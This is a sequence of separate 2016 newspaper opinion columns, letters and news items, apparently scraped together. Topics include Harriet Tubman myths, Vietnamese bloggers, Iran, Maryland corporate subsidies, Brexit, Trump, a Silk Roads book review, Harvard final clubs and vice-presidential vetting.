Tubman told audiences repeatedly during the late 1850s that she rescued 50 to 60 people in eight or nine trips. Her first biographer, Franklin Sanborn, suggested that she, directly and indirectly, brought about 140 or 150 people North. My research has confirmed that estimate, establishing that she brought away about 70 people in about 13 trips and gave instructions to about 70 more who found their way to freedom on their own.

Treasury Secretary Jack Lew has announced major changes to three U.S. currency notes in the coming years after long and controversial process. (Gillian Brockell/The Washington Post)

Contrary to some narratives, Tubmans missions did not extend throughout the South. She returned only to Maryland  specifically to plantations on the Eastern Shore  to bring away family members and friends whom she loved and trusted. It was too dangerous for her to go places where she did not know the people or the landscape.

Tubman didnt start the Underground Railroad, as Treasury Secretary Jack Lew claimed this past week. She tapped into a well-established network and helped expand it, making it stronger and more effective.

2. Tubman, at the time of her work with the Underground Railroad, was a grandmotherly figure.

Tubman is often portrayed in popular culture  in art, monuments, picture books and living-history presentations  as a decrepit old woman. This reflects photographs taken late in her life, which, as Washington Post critic Philip Kennicott noted this past week, have the effect of softening the broader memory of who she was, and how she accomplished her heroic legacy.

In fact, Tubman was a relatively young woman during the 11 years she worked as an Underground Railroad conductor. She escaped slavery, alone, in the fall of 1849, when she was 27 years old. A runaway advertisement at the time, offering $100 for her capture, described her as of a chestnut color, fine looking, and about 5 feet high.

She was also fierce. She carried a small pistol on her rescue missions, mostly for protection from slave-catchers, but also to discourage frightened runaways from turning back and risking the safety of the rest of the group. According to one story, she knocked out her own tooth with that pistol to stave off an infection that might have derailed a rescue mission. As a teenager, Tubman was nearly killed when an overseer hit her in the head with an iron weight, and she suffered from headaches and seizures for the rest of her life, but she didnt let those slow her down, either.

Viola Davis is set to play Tubman in an upcoming HBO movie based on my book, and, in Daviss portrayal, I think we will see the leader and warrior Tubman truly was.

1 of 10 Full Screen Autoplay Close Skip Ad  Here are some of the women people wanted on the $10 bill View Photos The Obama administration said it would feature a woman on the currency, and the Treasury Department solicited suggestions. Caption The Obama administration said it would feature a woman on the currency, and the Treasury Department solicited suggestions. Rosa Parks Rosa Parks rides on a Montgomery Area Transit System bus. Parks refused to give up her seat on Dec. 1, 1955, and ignited the boycott that led to a federal court ruling against segregation on public transportation. Daily Advertiser via AP Wait 1 second to continue.

3. She followed the quilt code to the North.

This myth is a staple of school curricula. Students are taught that slaves and free people stitched secret, coded directions into quilts and then hung them outside at night to help guide freedom seekers to the next safe house. While it is a pretty story, it has no basis in fact, and it tells us nothing about the real heroes and actual workings of the Underground Railroad.

Most of the quilt designs claimed by proponents of the quilt code were not even created until after the Civil War and slavery ended. Enslaved people would not have had access to the multiple varieties and colors of fabrics needed to construct such quilts, nor would they have placed precious bedding outside when it would have been badly needed inside their homes. We also know that Underground Railroad routes changed frequently because of the danger involved, so something as permanent as a quilt pattern would have been of limited use, anyway.

Rather than quilts, Tubman depended on her great intellect, courage and religious faith to escape slavery and then go back to rescue others. She followed rivers that snaked northward, and used the stars and other natural phenomena to guide her. She relied on sympathetic people, black and white, who hid her, told her which way to go and connected her with other people she could trust. She wore disguises. She paid bribes.

When leading her charges, she would alter the tempo of certain songs, Go Down Moses and Bound for the Promised Land, or mimic the hoot of an owl, to signal whether it was safe or too dangerous to reveal their hiding places. She also used coded letters. In December 1854, for instance, she had a letter sent to Jacob Jackson, a literate, free black farmer and veterinarian, instructing him to tell her brothers that they needed to be ready to step aboard the Ol Ship of Zion. In other words, she was coming to rescue them.

4. Her work with the Underground Railroad was her most significant contribution.

While these activities made her famous, her service as a Union spy, scout and nurse during the Civil War, and her activism and philanthropy after the war, cemented her reputation as a remarkable American patriot.

In June 1863, Tubman became the first woman to lead an armed military raid when she guided Col. James Montgomery and his 2nd South Carolina black regiment up the Combahee River, routing Confederate outposts, liberating more than 700 slaves, and destroying stockpiles of cotton, food and weapons. It was of her service to the U.S. Army that she was most proud. She successfully petitioned to receive a veterans pension, and at her funeral in 1913, she received semi-military honors.

Tubman also was an ardent suffragist and began appearing at suffrage conventions before the Civil War, becoming more active as the 19th century wore on. She fought for civil and political rights for not only women and minorities, but for the disabled and aged, too, and she established a nursing home for African Americans on her property in Auburn, N.Y.

5. Putting Tubman on the $20 bill is an insult, because she was anti-capitalist.

Feminista Jones laid out the case in The Washington Post last year: By escaping slavery and helping many others do the same, Tubman became historic for essentially stealing property. Her legacy is rooted in resisting the foundation of American capitalism. Tubman didnt respect Americas economic system, so making her a symbol of it would be insulting. After Lew announced that Tubman would indeed be on the redesigned $20 bill, feminist writer Zoe Samudzi told The Post, Im mulling over the irony of a black woman who was bought and sold being commemorated on the $20 bill.

While Tubman was adamantly against slavery, she wasnt against capitalism. She flipped slave-based capitalism on its head by stealing her own body and those of others from its unpaid, unfree grip. Tubman was an entrepreneur: During the Civil War, she created a laundry and restaurant near Hilton Head, S.C., where she taught recently liberated women to provide goods and services to the Union Army for pay; and later she ran several businesses from her home in Auburn, where she supported a house full of dependents.

The marginalization of women and people of color is not suddenly changed with redesigned currency. But Tubman on the $20 bill reinforces the message that the devaluation of women and minorities  economically, politically, socially, culturally and historically  is no longer acceptable.

Twitter: @KCliffLarson

Five myths is a weekly feature challenging everything you think you know. You can check out previous myths, read more from Outlook or follow our updates on Facebook and Twitter.
NGUYEN HUU VINH is a Vietnamese blogger better known by the name Ahn Ba Sam. Hes no radical; he was once a police officer in the Ministry of Public Security in Hanoi, later a private investigator, and is the son of a former Vietnamese government minister who served as ambassador to the Soviet Union. After leaving the police, Mr. Vinh started several popular blogs that provided links to articles about social, political, economic and cultural issues in Vietnam, drawing from state media and from activists.

The blogs were too much for Vietnams authoritarian rulers, who control the major news outlets and restrict speech, association and religion. In May 2014, Mr. Vinh was detained, along with his assistant, Nguyen Thi Minh Thuy. They were held in prison throughout last year, without trial, a period when Vietnam was in the final throes of negotiating with the United States over the Trans-Pacific Partnership trade deal.

Then, on March 23, the bloggers were put on trial, accused of abusing rights to freedom and democracy to infringe upon the interests of the state. Prosecutors said some of the articles on their site had untruthful and groundless contents that tarnished the countrys image. Mr. Vinh was sentenced to five years in prison and his assistant to three years. Both insisted at the one-day trial they were innocent. The presiding judge thought otherwise, and said the articles they had posted present a one-sided and pessimistic view, causing anxiety and worry, and affecting peoples confidence in the Communist Party and the government, and go against the interests of the nation.

Vietnam has previously prosecuted bloggers and discourages dissent in other ways, too. According to Human Rights Watch, last year at least 45 bloggers and rights activists were beaten by plainclothes agents. Late last year, the states thugs badly beat up Nguyen Van Dai, a prominent human rights activist and lawyer. He led a workshop on human rights in early December in Nghe An province and was assaulted by plainclothes goons. On Dec. 16 in Hanoi, he was formally arrested and thrown into solitary confinement. His wife, Vu Minh Khanh, told us he has not been allowed visitors or contact with his family. He was told his arrest was for conducting propaganda against the state. He was fighting for a freer and more open Vietnam.

We have been hopeful that Vietnams inclusion in the Trans-Pacific Partnership trade deal would nudge its rulers toward greater openness and tolerance, but Ms. Khanh said the human rights situation is dreadful and growing worse. Even though the Trans-Pacific Partnership is not explicitly about democracy, the United States ought to bring up human rights at every opportunity, to drive home the point that blogging and human rights workshops are consistent with an open and free society. President Obama, due to make his first visit to Vietnam next month, ought to carry the message personally. Vietnams besieged bloggers and human rights defenders would find it encouraging.
In his April 21 op-ed, Why Iran is building up its defenses, Iranian Foreign Minister Mohammad Javad Zarif argued that Iran has not launched a war in more than two centuries and is committed to never commencing such foolishness. But what about terrorists supported by the Iranian government who have killed hundreds of Americans? What about the presence of Islamic Revolutionary Guard Corps troops, Hezbollah, Shiite militias and Iranian materiel on the ground in Syria, Iraq, Lebanon and Yemen?

While Mr. Zarif proclaimed that Iran is a stable, safe and healthy environment for our citizens and for those visiting and doing business with us, the facts suggest otherwise. The Iranian regime remains designated as a primary money-laundering concern under U.S. law. Severe risks exist for companies thinking about investing with the ayatollah, including doing business with the wide array of front companies tied to the IRGC, a terrorist organization sanctioned by the United States and the international community; the unavailability and deficiency of insurance coverage; and hacking and cyber-insecurity. Lets not forget the totalitarian suppression of women, homosexual and transgender people, political opponents and journalists. That is a high price for stability, unacceptable to the United States and inconsistent with our values.

We look forward to the day when Iran behaves in a way that will give the United States reason to fully engage with it.

Joseph I. Lieberman, New York

The writer, a former senator from Connecticut, is chairman of United Against Nuclear Iran.

Mark D. Wallace, New York

The writer, a former ambassador to the

United Nations, is chief executive of

United Against Nuclear Iran.

Mohammad Javad Zarif mentioned several reasons that Iran needs to protect itself from the West (which nominally includes Israel). He didnt even include the 1953 coup that the CIA perpetrated against the duly elected democratic government of Iran, installing the shah. The harsh policies of the shah brought on the Islamic Revolution.

Meanwhile, the United States supplies Saudi Arabia and Israel, Irans enemies, with billions of dollars in aid and military assistance. Why would any country not want to be able to be prepared to defend itself against such antagonists?

Doris Rausch, Columbia
Twenty-eight years ago, as a second-year lawmaker in Maryland, I lamented my states leap into the corporate welfare sweepstakes. Maryland had just lost a bidding war with Pennsylvania for New Yorks Eastman Kodak. To compete more effectively in the future, the legislature established a Sunny Day fund for bankrolling more generous future subsidies.

This new fund, the Economic Development Opportunities Program Fund, came with an interesting twist. Cash from it could go to companies already located in Maryland. Just by threatening to exit Maryland, any corporation in the state could pick up sweet millions in state tax dollars.

Maryland corporations today dont even have to bother making a threat to pick up cash from the Sunny Day fund. They just have to ask.

Northrop Grumman did just that. This month, Marylands Republican governor, with strong support from Marylands Democratic legislative majority, handed Northrop Grumman a $57.5 million tax-dollar giveaway that included a $20 million payout from the states trusty old Sunny Day fund.

Northrop Grumman has no plans to leave Maryland and throw Marylanders out of work.

We arent going anywhere, a company official told lawmakers in Annapolis this winter.

Northrop Grumman isnt promising to create any new jobs in Maryland, either. Under the terms of this latest subsidy, the company has to maintain only 90 percent of its current 10,000 jobs in the state and invest $100 million in capital, which it was planning to do anyway. Northrop Grumman, in other words, could lay off 10 percent of its in-state workforce and still collect millions of tax dollars from the citizens of Maryland.

The ultimate irony here? The new subsidy package includes a provision for a tax credit  essentially a tax refund  for Northrop Grumman.

One state senator asked a Northrop Grumman executive how much in Maryland corporate income tax the company pays.

Its complicated, came the reply. The official went on to describe the $100 million in property, payroll and other taxes Northrop Grumman paid last year  and never proffered a figure for the companys state income tax liability.

The real answer seems obvious: Northrop Grumman, a corporate giant with $1.9 billion in profits last year, likely pays no corporate tax to Maryland. I suspect Northrop Grumman diverts its Maryland revenue to shell companies incorporated in other states.

So there you have it: Maryland taxpayers are giving $57.5 million to a company that isnt threatening to leave the state, isnt required to create additional jobs and, in all likelihood, isnt paying its fair corporate tax share. What a deal!

How does the Democratic Party leadership of a historically blue state like Maryland  we havent had a Republican legislative majority in either chamber in nearly a century  justify a deal like this? Not very well.

On the state Senate floor, I asked lawmakers eager to help out Northrop Grumman an obvious question. If this deal went through, I wondered, how could we say no to the next corporate heavyweight that comes to us for a handout? No one had an answer.

It seems that some Democrats still havent gotten the message that the corporate-friendly, Republican-light path gains us nothing. Sharp critiques of corporate welfare are clearly resonating powerfully with large segments of our society, as the presidential candidacy of Sen. Bernie Sanders (I-Vt.) shows. Yet a strange tone-deafness has befallen our blue-state leaders.

With millions of Americans upset about corporate welfare, our leaders remain fixated on what amounts to socialism for the rich. Where could we be 28 more years down the road? I shudder to think.

The writer, a Democrat, represents Prince Georges County in the Maryland Senate.
I wish everyone would read the April 17 front-page article There are New York values Ted Cruz probably never expected, in which New Yorkers, who happen to also be Americans, expressed pride in their city and were very specific as to what New York values are.

I was born in Queens, grew up in Nassau County, attended State University of New York at Cortland and taught in the public schools of White Plains, N.Y. Though I have not lived in New York in decades, you can take the girl out of New York but you cant take New York out of the girl.

So it is not surprising that I bristled when I heard Sen. Ted Cruz (Tex.), a Republican candidate for president, talk about New York values. The words left his mouth in an extremely disdainful tone.

When it came time for him to campaign in New York, his attitude markedly changed. He seemed uncomfortable on my turf. Perhaps it is not the values of New York and New Yorkers that should be examined, but those of Mr. Cruz.

Elaine Montgomery, Reston
Tehran, Iran, April 22

By Mehdi Sepahvand - Trend:

Iran's Deputy Foreign Minister Abbas Araqchi and EU Foreign Policy Coordinator Helga Schmid met in Vienna to discuss an upcoming meeting of the JCPOA committee meeting.

The two diplomats discussed the agenda for the upcoming meeting between representatives from Iran and the six powers called the group 5+1 (the US, UK, France, Russia, China, andGermany), IRNA news agency reported April 22.

This will be the first meeting between the signatories of the Joint Comprehensive Plan of Action (JCPOA) since it was put in action on January 16.

The sides will meet to discuss how well the nuclear deal is being implemented. While Iran is carrying its part of the deal to reprogram its nuclear activities, the country has been criticizing the US for acting in a way to prevent Tehran from seeing the benefits of the deal in action.

While nuclear-related international sanctions were lifted by the deal, a set of sanctions by the US still remain in place, banning the trade of US-made goods and services to end up in the hands of people of Iran.
Barack Obama has a full schedule in London this week. There is lunch with the Queen, on the occasion of her 90th birthday. There is dinner with the Duke and Duchess of Cambridge, otherwise known as Will and Kate. There are talks with the prime minister, David Cameron, about the appalling state of the world. And then, perhaps, with Camerons approval, the president may pronounce a few sentences encouraging the British to stay in the European Union. In mere anticipation of these words, Obama has already been attacked by anti-E.U. campaigners as nakedly hypocritical and the most anti-British president in U.S. history.

Indeed it is unusual for a sitting U.S. president to intervene directly in an election in a foreign country, and maybe risky. But then, there is nothing usual about Britains E.U. referendum, scheduled for June 23. Unlike in most elections, British leadership inside Britain will not be at stake. Whether the country votes remain or leave, the Conservative Party will go on running the country. But British leadership in the world is very much at stake. And because it really is a matter of profound, bipartisan, long-term U.S. interest that Britain remain a European power and thus a world power, Obama is right to take the risk and say so.

This is not merely because of the economic turmoil that could follow a rapid Brexit, a possibility recently flagged by eight former U.S. treasury secretaries in the Times of London. Nor is it just because pro-European Scotland might once again try again to divorce itself from the United Kingdom in the event of a leave vote, or that the Northern Irish settlement might also be disturbed. It is because Britain, outside the E.U., will lose any ability to shape the way Europe is run and regulated. It will lose its voice in the European economic, political and foreign policy councils where it has so often played a central  and a pro-American  role.

Britain, remember, was crucial to creating European sanctions regimes in Iran and Russia. Britain backed the integration of the eastern half of the continent. Britain has successfully pushed for European antitrust laws that have made the whole continent a friendlier place to do business. Britain has helped knock down entry barriers to trade and make the European single market real. When they push hard, which they dont always, the British usually win their arguments  which is good for them, good for Europe and good for U.S. companies, too.

If Britain leaves, there is a risk that the rest of Europe could drift off in a not exactly Western direction. As the crow flies, Moscow is closer to Berlin than Washington. Worse, there is a risk that, outside the E.U., Britain itself would drift into the role of an offshore Switzerland, becoming a kind of amoral trading power, one of those countries with no friends, only interests. Many in London already think its more important to court China than to invest in NATO or worry about the retreat of democracy. The City, Londons financial district, is already home to a large number of lawyers, accountants and real estate agents who make fortunes helping autocrats hide their money offshore, creating shell companies and using them to purchase, anonymously, very large Mayfair houses. Once outside the E.U., unattached from the central political arguments taking place in Europe, this powerful class of people might well start promoting an apolitical Britain far removed from the Churchillian or Thatcherite nation of distant memory.

If Britain leaves the E.U., it would remain on the U.N. Security Council, of course, but thats an increasingly meaningless body. Britain would remain in NATO, but NATO is a military alliance at a time when most of Europes security challenges are not strictly military but rather related to economics, policing, even to information policy  all of which are, at least in theory, within the competence of the E.U. And if the E.U. hasnt come up with solutions, thats partly because Britain, with this referendum looming, has spent the past several years staying aloof.

None of your business is an understandable British reaction to Obamas visit, in other words, but it misses the point. As the leave camp doesnt seem to understand, we live in an interconnected world, where events in one country necessarily affect those in others. The United States needs Great Britain to stay great, both for their sake and ours.

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Donald Trump picked an inopportune time to try to make people forget his history: concurrent with the Jewish festival of Passover, a holiday about recalling the past.

With a haste suggesting he thinks Americans arent all that bright, Trump has been rebranding himself as an inoffensive candidate for the general election. He gave a temperate victory speech in New York on Tuesday and he took more moderate positions this week on gay rights, abortion and the national debt. Trumps chief strategist, The Post reports, told a group of Republicans privately that Trump had been playing a part and is now evolving.

Those appalled by Trumps campaign of insults arent about to let him succeed in that evolution. But there is a challenge in this exercise: After so many outrageous things have come out of his mouth, which ones to choose?

I suggest borrowing a page from the Passover Haggadah. The Seder service recalls the Ten Plagues that God inflicted on the Egyptians: blood, frogs, lice, wild animals, pestilence, boils, hail, locusts, darkness and slaying of the firstborn. This, come to think of it, sounds a lot like Trumps descriptions of women: fat pigs, dogs, slobs, disgusting animals. But if the Ten Plagues of Egypt were enough to deliver the Israelites from Pharaoh, perhaps these Ten Plagues of Trump will help to deliver America from his efforts to make voters forget the past 10 months.

Blood

Trump on Fox News anchor Megyn Kelly: You could see there was blood coming out of her eyes, blood coming out of her wherever. Trump has previously said that what matters is having a young and beautiful piece of ass, and he said avoiding sexually transmitted diseases was my personal Vietnam.

Rapists

Mexico is sending people that have lots of problems, he said. Theyre bringing drugs. Theyre bringing crime. Theyre rapists.

Trump has called repeatedly for rounding up and deporting all 11 million illegal immigrants, alleged that prominent Hispanic American journalists are controlled by Mexico, mocked Asian accents and disabled people and told Jews they wouldnt support him because I dont want your money.

Lies

Trump said he saw thousands and thousands of Muslims in New Jersey celebrating the 9/11 attacks. He also let stand the charge at one of his events that President Obama is a Muslim.

Sucker punches

When a protester was escorted from a Trump rally, Trump fondly recalled the old days, when theyd be carried out on a stretcher. Trump said of the protester: Id like to punch him in the face. Trump also considered paying the legal fees of a supporter who cold-cocked a black demonstrator at one of his rallies and who said, The next time we see him, we might have to kill him. Trump also retweeted messages from white supremacists and suggested a Black Lives Matter demonstrator roughed up at his event deserved it.

Waterboarding

Trump said he would like to bring back waterboarding for terrorism detainees and a hell of a lot worse than waterboarding. He said at one point that he would expect the military to follow illegal orders to torture detainees and to target innocent family members of terrorists.

Chains

Trump, before recanting, said there has to be some form of punishment for women who get an abortion if the procedure were made illegal.

Foul mouths

Trump has told mass rallies that he wants to bomb the [expletive] out of ISIS. He called his chief rival, Ted Cruz, a pussy, and made unsubstantiated insinuations about Cruzs wife, Heidi: Be careful, Lyin Ted, or I will spill the beans on your wife!

Schlongs

Trump used the occasion of a nationally televised debate to guarantee you there was no problem with the size of his penis.

Dark people

Trump has called for a total and complete shutdown of Muslims entering the United States  except perhaps for very rich Muslims who are his friends.

Flaying of the first birther

Trump led the birther movement challenging President Obamas standing as a natural-born American. During the campaign he called for ending the tradition of birthright citizenship for all born on U.S. soil.

Like the Seder service on Passover, the catalog of Trumps outrages could go on and on. And it should: Post Opinions Digital Editor James Downie and I are compiling a comprehensive list of Trumpisms, and we invite you to email us your favorites at posttrumpisms@gmail.com to make sure all of his offenses are included.

But even if we only had these Ten Plagues of Trump, it would be enough  dayenu, as we say during Passover  to make Trumps rebranding impossible.

Twitter: @Milbank

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S. Frederick Starr is chairman of the Central Asia-Caucasus Institute at the School of Advanced International Studies at Johns Hopkins University and author of Lost Enlightenment: Central Asias Golden Age from the Arab Conquest to Tamerlane.

This absorbing but curiously misnamed book is more than the story of the Silk Roads and less than a History of the World. Peter Frankopan, an Oxford specialist on Byzantium, presents some two dozen roads or episodes in the history of Europe and Asia over two millennia, of which the Silk Road phase is only one. And while he claims to write a history of the world, whole civilizations and continents, including Africa and the Americas, enter his story only when they come under the influence of Europeans. Japan barely rates a mention. His real focus is the Eurasian landmass, and his goal is to convince readers that the stories of Asia and Europe are really one, that they interacted constantly in the past and that they do so even more today.

Well-researched and gracefully written, Frankopans fat volume is a good read, with two-fifths devoted to the centuries before Columbus, a third to the early modern era and two-fifths to the 19th and 20th centuries. Along the way the author offers many provocative insights, for instance, on the Asian-ness of Christianity, the way Crusaders mixed religion and commerce, how the gold that built the Taj Mahal traced to the New World and how the discovery of oil in Persia by the Englishman Knox DArcy transformed world politics. Frankopans constant theme is how trade-based globalization was a reality millennia before the term became popular. This is not a new discovery, but it is an important point, and Frankopan defends it convincingly.

His narrative wanders into so many curious avenues that everyone will find something of interest in these 500 pages. He is not without bias, however. He attacks ancient Rome as having acclaimed violence and killing but withholds such judgments when speaking of many Eastern despotisms. He follows the current fashion of stressing the Mongols free-trade policies while tipping his hat to them for using violence selectively and deliberately. He plays down their utter destruction of scores of cities that had built and maintained continental trade for millennia, claiming that most recovered quickly. But many of the biggest did not, as the Mongols had systematically destroyed their irrigation and hydraulic systems.

In the same spirit, he devotes a chapter to the participation of Vikings and other Northern Europeans in the Asian slave trade without mentioning that medieval slavery, like modern slavery, was driven by demand and that for a millennium before Vasco da Gama, the demand came from the great slave markets of the Muslim Middle East and Central Asia. Indeed, the high culture of the medieval caliphate was built on a solid foundation of slavery, a fact Frankopan ignores.

"The Silk Roads: A New History of the World" by Peter Frankopan (Knopf)

As the author approaches the modern era, he offers up judgments that many will find jarring. He dismisses the European Reformation as a time when bigotry and religious fundamentalism were rapidly becoming defining features, yet he scarcely mentions the Sunni-Shiite divide in Islam and the bloody wars and gross intellectual repression to which it gave rise, from the Mediterranean to India. Similarly, implying a comparison with Western European colonialism, he argues that Russias expansion to the south and east was done with a reasonably soft touch. Tell that to the thousands in the Caucasus who died from tsarist Russias advance there, or the 16,000 Turkmen who perished in one day during the Russian siege of Geok Tepe (in modern Turkmenistan) in 1881. He also characterizes the Soviets campaign to pillage East European industry and commandeer its experts as logical.

In chapter after chapter, Europeans emerge as the villains. Heaven knows, there is much to justify this view, and we have scores of excellent studies that detail heinous actions by Europeans in the Middle East, Africa and the New World. But Frankopan is not content just to retell this story. Instead, he preaches endlessly about how the modern states of Europe arose as the strong [i.e., the West] devoured the weak, how they prospered through consolidation and covetousness, how overall the West succeeded in placing itself in the center of the world thanks to its entrenched relation with violence and militarism. Lest we somehow miss the point, he concludes that Europes distinctive character as more aggressive, more unstable, and less peace-minded than other parts of the world now paid off.

Having worked himself into a rage, he dismisses European art of the 17th and 18th centuries as having been forged by violence, a mark of opprobrium he withholds from most of the art produced under tyrants of the Eastern world clear to the Mughals in India. The problem here is not that he is wrong but that he fails to consider that much of the rest of his story, whether the rise of the nomadic Seljuks or Asian jihadists such as Mahmud of Ghazni, Tamerlane or Babur, was no less driven by utter brutality. Indeed, there is little difference between the Islamic State today and the savagery that Muslim jihadists over many centuries directed against India. Instances of evil that might have led him to reflect on human nature cause him instead to hand out posies and demerits in a manner that is both one-sided and politically correct.

It is revealing that Frankopan offers up a collection of nasty (and often droll) European comments on the deceitfulness, brutality or smelliness of various Eastern peoples without touching on the similarly critical one-liners to be found in works by Arab and other Eastern writers on Westerners or, for that matter, on the inhabitants of Russia or the Indian subcontinent. When 11th-century scholar al-Biruni dared to pen an appreciative work on Hinduism, he made a point of contrasting his book with the crude abuse that previous writers in Arabic heaped on Indians and their religion.

Competition for Frankopans main bete noire is keen, but Americans may at least claim parity with the Huns, Tamerlane, Cortes and the British. He begins mildly enough, instructing us that the Pilgrims first Thanksgiving, in 1621, was organized to mark their safe arrival in the land of plenty but also [as] a commemoration of a campaign against globalization. When he reaches the 20th century he is at full steam, saying  not without foundation  that America was ready in Iran to double-deal and double-cross at every turn, and condemning the attacks on Afghanistan and Iraq, but without distinguishing between them or delving into the gory domestic context in either country. Frankopan then quite reasonably accuses Washington of cutting deals and making agreements on the hoof, solving todays problems without worrying about tomorrows.

This is not the first work to conceive the diverse inhabitants of the Eurasian land mass as a single whole rather than as a collection of largely autonomous sub-regions and peoples. Its great strength is that it focuses squarely and consistently on trade as the great engine of integration across the region. Frankopan presses home this important thesis with persistence and clarity. One may bristle, or smile, at some of his biases and eccentricities, but in the end he does us all a great service.
Caitlin Flanagan is a contributing editor at the Atlantic and the author of Girl Land.

For the members of Harvards super-elite final clubs, perhaps nothing produces a more immediate shiver of Not Our Kind of Thing than comparison to fraternities of the Greek system, with their herds of suburban business majors and their abundance of chapters popping up at every benighted State U and third-rate Catholic college. In a sense, fraternities are the very opposite of what a final club represents, which is, first and foremost, a sui generis association with the single greatest university in the history of the world.

Yet most of Harvards all-male final clubs began as Greek letter societies , adopting their unique characteristics only after the university banned fraternities in the 1850s. These clubs emerged as a response to the aspects of higher education that young men found feminizing: the enforced chastity, study, prayer and self-discipline. And theyve been fulfilling their mission to vex college administrators and delight male students ever since.

Just as frat row presents a constant, low-grade headache  and an occasional five-alarm migraine  to presidents of lesser universities, so have the final clubs been a source of increasing irritation to the Harvard administration. A recent, radioactive report by the universitys Task Force on the Prevention of Sexual Assault revealed a familiar constellation of problems: The clubs dominate the social scene and are locations of binge drinking; their members throw parties with sexually offensive themes and compete with one another for sexual conquests. Most gravely, they were identified as sites of sexual assault.

The task force strongly urged that the clubs be required to admit members of all genders as a curative measure. The dean of Harvard College, Rakesh Khurana  who has been trying to crack the clubs all year  began cajoling, threatening and all but begging them to admit women. An all-male club, he has said, is out of step with the aspirations of the 21st century. In private meetings, he has threatened sanctions for the members of uncooperative clubs, including making them ineligible for campus leadership roles (such as team captain) and fellowships.

In the long tradition of the fraternity system from which they sprang, the clubs said: No.

Independence is not a trivial or accidental feature of these clubs. By design, they are private societies, located off campus on privately held land. Unlike fraternity chapters of the Greek system  which usually have an affiliation with their host institutions  they have no official connection with Harvard, and they are under no compunction to change their membership policies to fulfill the universitys beau ideal of itself. If Harvard does enforce sanctions on the members, it will constitute one more step toward the erosion of college students constitutional rights (in this case, to the freedom of association), which is turning out to be another aspiration of the 21st century.

So what to do about the dire problem of sexual assaults in the clubs? The first thing is to acknowledge that the task force report burns with moral indignation that its evidence does not warrant. Consider a single statistic: 47 percent of female seniors who reported participating in final club events also reported having nonconsensual sexual contact during their years in college. But that act, we discover  if we track down the appendices and fall down a rabbit hole of illogic  could have happened at the hands of a nonmember, in a location unrelated to a final club and before the victim even participated in a club event. In fact, the club whose event she attended could have been an all-womens final club. It would be almost impossible to concoct a more meaningless statistic. Moreover, the report casually mentions that the vast majority  87 percent  of all sexual assaults against women occur in dorms. These are spaces over which the university has complete jurisdiction, so its failure to reduce assaults constitutes a far graver institutional error than its inability to police the final clubs.

All of this reflects a gathering national malaise regarding a phrase that once blazed with urgency: college sexual assault. If Harvard believed that a huge number of its students were being beaten up in their dorm rooms, for example, the official response would be swift and merciless. The police would be called, charges would be filed, culprits punished. But, in response to new federal guidelines, sexual assault has become a matter of climate surveys, training sessions, an adjudication process that everyone  victims and accused assailants  finds problematic, and moments of flashing but impotent invective about fraternities and other all-male campus clubs, which have emerged as low-hanging fruit that refuses to be picked.

The final clubs are playing hardball right now, and they are winning. They are not relying on the guidebook of a private university but rather on the law itself. What if young women did the same? If assault victims could be persuaded  with the right institutional and emotional support  to report assaults to the real-world system of law and order, instead of the Keystone Cop system of college professors and task forces, the tables would turn. Khuranas blandishments about the 21st century may not get the attention of the club members, but  I guarantee you  the sight of a police car rolling up, and uniformed officers asking to interview a rape suspect, would sober them up, and quickly.

Twitter: @CaitlinPacific

Read more:

What Sigma Alpha Epsilons pledging ban wont fix

Book review: Rape and the Justice System in a College Town

Book reivew: The Invention of Helen Gurley Brown and the Rise of the Single Woman

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The presidential candidates in both parties are still in the throes of their nomination contests, but a new report authored by veterans of past campaigns and conventions offers a clear warning to them all: If you havent already done so, start your vice-presidential selection process now.

Already, some of the campaigns have made preliminary steps to begin that process, but none appears very far along. As a result, two suggestions in the report are notable, given time pressures that could affect this years selections. One is to avoid any last-minute vetting of prospective candidates. The other calls on candidates to carve out time well ahead of their decision to get to know their prospective running mates.

The report, issued under the auspices of the Bipartisan Policy Center, concludes that the process of vetting and selecting a vice-presidential running mate takes a full eight weeks. With the two political conventions convening in mid-to-late July, rather than at the end of August or early September as in the past two presidential elections, that suggests that the candidates are already up against the clock.

The report highlights the significance of picking a running mate. As recent vice presidents have played more central roles in presidential administrations, the process of picking them has become somewhat more orderly  but not always. The process remains in the hands of individual candidates with their own idiosyncrasies and political needs.

[GOP veepstakes begin: Candidates start building lists and vetting prospects]

Paul D. Ryan, left, and Mitt Romney chat aboard their campaign plane during the 2008 election. (David Goldman/Associated Press)

The goal of the new report is to establish clearer standards for the process of narrowing a potentially long list of contenders to a short list of four or six finalists and eventually to a running mate. Selecting a vice president is one of the most important decisions a presidential candidate will make, the authors say. The consequences of the selection could prospectively extend beyond the campaign and have a lasting impact on the country.

Given the unsettled state of the Republican race in particular, the panel said the process should begin even in the absence of a presumptive nominee. The key consideration is timing, not whether the likely presidential nominee has emerged, the report states. If the race is still not decided, the candidates still in contention should launch their vetting processes so that they have the eight weeks minimum for an adequate vetting.

On the question of hasty vetting, the group says this: Candidates should recognize the risks of vetting under these pressures. Consequently, they should adopt as a rule of thumb that with the appropriate resources, a short list of vice presidential nominees requires eight weeks for anything approaching a thorough vetting.

In 2008, Sen. John McCain turned late in the process to then-Alaska Gov. Sarah Palin when other options fell through. As a result, the final stages of the vetting process were rushed. McCain did not meet with Palin for a serious conversation until the day before she was unveiled to the public, and she did not undergo final stages of vetting until the night before that.

On the issue of getting to know their running mates long before they make a selection, the report highlighted what Mitt Romney did in 2012. He brought potential running mates onto the campaign trail with him both to gauge their political skills and as a way to get to know them better. His chemistry with current House speaker Paul D. Ryan was instantly obvious to Romney advisers and contributed to his selection.

Other presidential candidates have done this part of the process in a far less public way, using elaborate means to avoid detection of any meetings between the presumptive nominee and prospective candidates.

The report also highlights the sensitive nature of the vetting process and the risk that financial, medical or other personal information could fall into the wrong hands or be leaked to the press. The collection of personal data draws in part from a lengthy questionnaire that can run to 70 questions or more, many of them highly intrusive. New questions have been added year by year as new kinds of scandals involving politicians have been disclosed.

Barack Obama and Joe Biden take the stage in Springfield, Ill., during the 2008 election. (Linda Davidson/The Washington Post)

Notably, the panel urged presidential candidate to restrict access to this information to as small a number of people as possible and says all of them should be required to sign non-disclosure agreements.

More significantly, the group recommends keeping most of the campaigns political advisers far away from the process. One reason is to avoid interference and potential conflicts of interest by strategists who have clients who are under consideration. The other concern is that potentially damaging information would be used against one of the contenders in a future campaign.

It is in the interest of both the campaigns and political staff to place strict limits on political staffs access to the most sensitive, raw information obtained in the vetting process, the authors conclude.

The authors are keenly aware of the risk of this kind of information becoming public, despite assurances to those under consideration that it will be kept confidential. The reports authors say there must be plans for destroying data after the process ends and that when senior political advisers are briefed on the outcome of the process, all sensitive information should be shared verbally rather than with a written report.

